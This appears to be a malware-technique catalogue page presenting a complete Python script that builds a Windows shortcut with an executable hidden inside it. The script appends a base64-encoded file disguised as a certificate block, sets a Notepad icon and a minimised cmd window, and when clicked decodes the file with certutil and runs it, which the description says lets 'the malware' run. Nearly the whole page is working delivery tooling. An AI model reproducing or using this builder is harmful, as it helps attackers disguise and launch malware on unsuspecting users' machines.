(Python) Shortcut Hiding by Jean-Pierre LESUEUR

Created the Tuesday 13 December 2022. Updated 1 month, 2 weeks ago.

Description:

This Python script can be used to create a Windows shortcut with an embedded file. The script takes two arguments: the file to embed and the name of the generated shortcut. The script first creates a Windows shortcut using the winshell module. The shortcut is configured to run a command that will decode the embedded file and then execute it. The script then encodes the file to be embedded using the base64 module and appends the encoded data to the shortcut file in the form of a certificate. Finally, the script prints the name of the generated shortcut to the screen. When the shortcut is clicked, the embedded file will be extracted and executed, allowing the malware to run on the system.

Code

            #!/usr/bin/env python3

# Requirements:
# -> pip install pypiwin32
# -> pip install winshell

import argparse
import base64
import os
import pathlib
import random
import string

import winshell


def build_shortcut(file_to_embed, shortcut_name):
    output_shortcut = "{}{}.lnk".format(
        os.path.join(pathlib.Path(__file__).parent.resolve(), ''),
        shortcut_name,
    )    

    with winshell.shortcut(output_shortcut) as shortcut:    
        # @echo off & (for %i in (.lnk) do certutil -decode %i [filename]) & start [filename].exe
        payload = "@echo off&(for %i in (*.lnk) do certutil -decode %i {0}.exe)&start {0}.exe".format(
            "".join(random.choice(string.ascii_letters) for i in range(8))
        )                

        shortcut.description = ""
        shortcut.show_cmd = "min"
        shortcut.working_directory = ""
        shortcut.path = "%COMSPEC%"

        shortcut.arguments = "/c \"{}".format(
            payload,
        )

        shortcut.icon_location = ("%windir%\\notepad.exe", 0)

    with open(file_to_embed, "rb") as file:
        encoded_content = base64.b64encode(file.read())

    with open(output_shortcut, "ab") as file:
        file.write(b"-----BEGIN CERTIFICATE-----")
        file.write(encoded_content)
        file.write(b"-----END CERTIFICATE-----")

    print("[+] Shortcut generated: \"{}\"".format(output_shortcut))

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description=f"Create Windows Shortcut with Self-Extracting Embedded File.")

    parser.add_argument('-f', '--embed-file', type=str, dest="embed_file", required=True, help="File to inject in shortcut.")

    parser.add_argument('-n', '--shorcut-name', type=str, dest="shortcut_name", required=True, help="Generated shortcut name.")

    try:
        argv = parser.parse_args()      
    except IOError as e:
        parser.error() 

    build_shortcut(argv.embed_file, argv.shortcut_name)

    print("[+] Done.")